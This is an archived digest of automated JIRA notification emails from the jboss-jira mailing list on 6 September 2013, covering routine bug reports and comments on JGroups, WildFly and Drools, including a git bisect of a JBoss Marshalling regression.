This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 11:59:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Fri, 6 Sep 2013 11:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119903@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119903@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119903.13927.1378483143376@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1688:
------------------------------

             Summary: Generic type in Executions
                 Key: JGRP-1688
                 URL: https://issues.jboss.org/browse/JGRP-1688
             Project: JGroups
          Issue Type: Bug
            Reporter: shen kim
            Assignee: Bela Ban


Following this method:
static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)

Assume one object extends Callable as MyCallable, so the symbol (?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 12:09:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 12:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119000.13933.1378483743550@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1688?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1688:
---------------------------

    Description: 
Following this method:
static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)

Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

  was:
Following this method:
static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)

Assume one object extends Callable as MyCallable, so the symbol (?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?


    
> Generic type in Executions
> --------------------------
>
>                 Key: JGRP-1688
>                 URL: https://issues.jboss.org/browse/JGRP-1688
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Following this method:
> static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)
> Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 12:09:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 12:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119000.13939.1378483743816@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1688?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802471#comment-12802471 ] 

Bela Ban commented on JGRP-1688:
--------------------------------

Which class:method are you referring to ?
                
> Generic type in Executions
> --------------------------
>
>                 Key: JGRP-1688
>                 URL: https://issues.jboss.org/browse/JGRP-1688
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Following this method:
> static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)
> Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 12:50:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 12:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.13996.1378486203515@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802482#comment-12802482 ] 

Thomas Diesler commented on WFLY-2020:
--------------------------------------

This seems to be the offending commit

{code}
[tdiesler at localhost wildfly]$ gti bisect bad
a0c7edb142b75d92276fb9fa9c0033ea1d583934 is the first bad commit
commit a0c7edb142b75d92276fb9fa9c0033ea1d583934
Author: David M. Lloyd <david.lloyd at redhat.com>
Date:   Thu Aug 29 22:45:30 2013 -0500

    Update to JBoss Modules 1.4.0.Final

:100644 100644 c68f9aad334c782717006fe565923c27c888a341 1806df7fa4879bfb352f212ab636d2f17fec2c5e M	pom.xml
:040000 040000 7c4309e8f415c07cd37bbb28d621c9e6f5f2d6ee fddb9490d9cacf4cd8fed298dbad5fc662bdff05 M	server
{code} 
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 12:50:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Fri, 6 Sep 2013 12:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-254) "Exists OR" rules are
 compiled inconsistently
In-Reply-To: <JIRA.12500231.1378486146014@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500231.1378486146014@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500231.1378486146014.13999.1378486203776@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-254:
-------------------------------------

             Summary: "Exists OR" rules are compiled inconsistently
                 Key: DROOLS-254
                 URL: https://issues.jboss.org/browse/DROOLS-254
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Critical
             Fix For: 5.5.1.Final,  6.0.0.CR4


Exists ( A or B ) is transformed into ( Exists A ) or ( Exists B )
In case both A and B are asserted, they result in two activations, 
whereas one would expect only one. 
Moreover, the equivalent not ( (not A) and (not B) ) results in only
one activation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 13:49:04 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 13:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14070.1378489744082@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler reassigned WFLY-2020:
------------------------------------

    Assignee: David Lloyd  (was: Darran Lofthouse)


David,

the client uses the same version of jboss-marshalling - I don't really know how to fix this issue. Do you have an idea?

{code}
[INFO] +- org.wildfly:wildfly-controller-client:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  +- org.wildfly:wildfly-protocol:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  |  +- org.jboss.marshalling:jboss-marshalling:jar:1.4.0.Final:compile
{code}
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 13:49:04 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 13:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14072.1378489744146@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802495#comment-12802495 ] 

Thomas Diesler edited comment on WFLY-2020 at 9/6/13 1:48 PM:
--------------------------------------------------------------

Hi David,

the client uses the same version of jboss-marshalling - I don't really know how to fix this issue. Do you have an idea?

{code}
[INFO] +- org.wildfly:wildfly-controller-client:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  +- org.wildfly:wildfly-protocol:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  |  +- org.jboss.marshalling:jboss-marshalling:jar:1.4.0.Final:compile
{code}
                
      was (Author: thomas.diesler):
    David,

the client uses the same version of jboss-marshalling - I don't really know how to fix this issue. Do you have an idea?

{code}
[INFO] +- org.wildfly:wildfly-controller-client:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  +- org.wildfly:wildfly-protocol:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO] |  |  +- org.jboss.marshalling:jboss-marshalling:jar:1.4.0.Final:compile
{code}
                  
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 13:59:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14087.1378490343377@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802496#comment-12802496 ] 

David Lloyd commented on WFLY-2020:
-----------------------------------

Better double-check that both client and server have the same 1.4.0.Final version of {{org.jboss.marshalling:jboss-marshalling-river}} as well.  That error looks like a 1.3 River implementation is using a 1.4 API.
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 13:59:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14090.1378490343427@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802497#comment-12802497 ] 

David Lloyd commented on WFLY-2020:
-----------------------------------

Also looks like my commit message was wrong since it updated JBoss Marshalling, not JBoss Modules.  I guess my fingers must have their own brain at this point.
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 14:01:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 14:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14096.1378490464654@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802498#comment-12802498 ] 

David Lloyd commented on WFLY-2020:
-----------------------------------

Maybe you just haven't done a clean build...
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 14:09:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 14:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14107.1378490943566@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802501#comment-12802501 ] 

Thomas Diesler commented on WFLY-2020:
--------------------------------------

Its using the same jboss-marshalling-river on the client 

{code}
[INFO]    +- org.jboss.osgi.wildfly:jbosgi-wildfly-jmx:jar:2.1.1-SNAPSHOT:compile
[INFO]    |  \- org.wildfly:wildfly-jmx:jar:8.0.0.Beta1-SNAPSHOT:compile
[INFO]    |     +- org.jboss:jboss-common-core:jar:2.2.22.GA:compile
[INFO]    |     +- org.jboss.remotingjmx:remoting-jmx:jar:2.0.0.CR1:compile
[INFO]    |     +- org.jboss.marshalling:jboss-marshalling-river:jar:1.4.0.Final:compile
[INFO]    |     \- org.wildfly.security:wildfly-security-manager:jar:1.0.0.Beta1:compile
{code}
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 14:31:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 14:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14120.1378492264041@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2020:
------------------------------

    Priority: Major  (was: Blocker)

    
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 14:33:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 14:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14125.1378492383380@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802504#comment-12802504 ] 

David Lloyd commented on WFLY-2020:
-----------------------------------

Changed priority since this isn't likely a bug, and even if it is, it's not really a blocker.  Most likely it's some kind of local environment issue and it doesn't appear upstream in any case.
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 15:29:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Fri, 6 Sep 2013 15:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699246@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699246@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699246.14196.1378495743618@jira02.app.mwc.hst.phx2.redhat.com>

Frank Langelage created WFLY-2022:
-------------------------------------

             Summary: Update JSF based on Mojarra 2.2.3 final
                 Key: WFLY-2022
                 URL: https://issues.jboss.org/browse/WFLY-2022
             Project: WildFly
          Issue Type: Library Upgrade
          Components: JSF
    Affects Versions: 8.0.0.Alpha4
            Reporter: Frank Langelage
            Assignee: Stan Silvert
             Fix For: 8.0.0.Beta1


Update JSF based on Mojarra 2.2.2 Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 15:29:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Fri, 6 Sep 2013 15:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699000.14201.1378495743933@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2022?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Frank Langelage updated WFLY-2022:
----------------------------------

    Affects Version/s: 8.0.0.Beta1
                           (was: 8.0.0.Alpha4)

    
> Update JSF based on Mojarra 2.2.3 final
> ---------------------------------------
>
>                 Key: WFLY-2022
>                 URL: https://issues.jboss.org/browse/WFLY-2022
>             Project: WildFly
>          Issue Type: Library Upgrade
>          Components: JSF
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>             Fix For: 8.0.0.Beta1
>
>
> Update JSF based on Mojarra 2.2.2 Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 15:31:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Fri, 6 Sep 2013 15:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699000.14207.1378495863836@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2022?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Frank Langelage updated WFLY-2022:
----------------------------------

    Description: Update JSF based on Mojarra 2.2.3 Final, published at Sep, 5th.  (was: Update JSF based on Mojarra 2.2.2 Final)

    
> Update JSF based on Mojarra 2.2.3 final
> ---------------------------------------
>
>                 Key: WFLY-2022
>                 URL: https://issues.jboss.org/browse/WFLY-2022
>             Project: WildFly
>          Issue Type: Library Upgrade
>          Components: JSF
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>             Fix For: 8.0.0.Beta1
>
>
> Update JSF based on Mojarra 2.2.3 Final, published at Sep, 5th.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 15:47:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Fri, 6 Sep 2013 15:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2023) review output of jboss-cli
	for batches
In-Reply-To: <JIRA.12500245.1378496753515@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500245.1378496753515@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500245.1378496753515.14214.1378496823477@jira02.app.mwc.hst.phx2.redhat.com>

Frank Langelage created WFLY-2023:
-------------------------------------

             Summary: review output of jboss-cli for batches
                 Key: WFLY-2023
                 URL: https://issues.jboss.org/browse/WFLY-2023
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Beta1
            Reporter: Frank Langelage
            Assignee: Alexey Loubyansky


jboss-cli displays lines of input file, although they are not executed.
If not executed hey should not be printed.

It might be useful to introduce a command line option "--verbose" an to print everything to stdout, if / command / end-if. Maybe even the output of the commands executed (read-resource, add).


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 16:05:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Fri, 6 Sep 2013 16:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-133) Drools template and database
	interaction
In-Reply-To: <JIRA.12491293.1367997314000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491293.1367997314000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491293.1367997314000.14229.1378497903795@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-133?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802518#comment-12802518 ] 

Davide Sottara commented on DROOLS-133:
---------------------------------------

Drools does not have a native solution, but JPA has been used successfully

                
> Drools template and database interaction
> ----------------------------------------
>
>                 Key: DROOLS-133
>                 URL: https://issues.jboss.org/browse/DROOLS-133
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>            Reporter: ? ?
>            Assignee: Mark Proctor
>
> using drools template file how can I communicate with database? is there any way to communicate with database using drools?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep  6 17:36:03 2013
From: jira-events at lists.jboss.org (Aleksandar Kostadinov (JIRA))
Date: Fri, 6 Sep 2013 17:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1902) jconsole.sh fails when
 JAVA_HOME is not set
In-Reply-To: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498925.1376940530000.14285.1378503363535@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1902?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Aleksandar Kostadinov updated WFLY-1902:
----------------------------------------

    Git Pull Request: https://github.com/wildfly/wildfly/pull/5020


Created a pull request [1], see github for details.

[1] https://github.com/wildfly/wildfly/pull/5020
                
> jconsole.sh fails when JAVA_HOME is not set
> -------------------------------------------
>
>                 Key: WFLY-1902
>                 URL: https://issues.jboss.org/browse/WFLY-1902
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
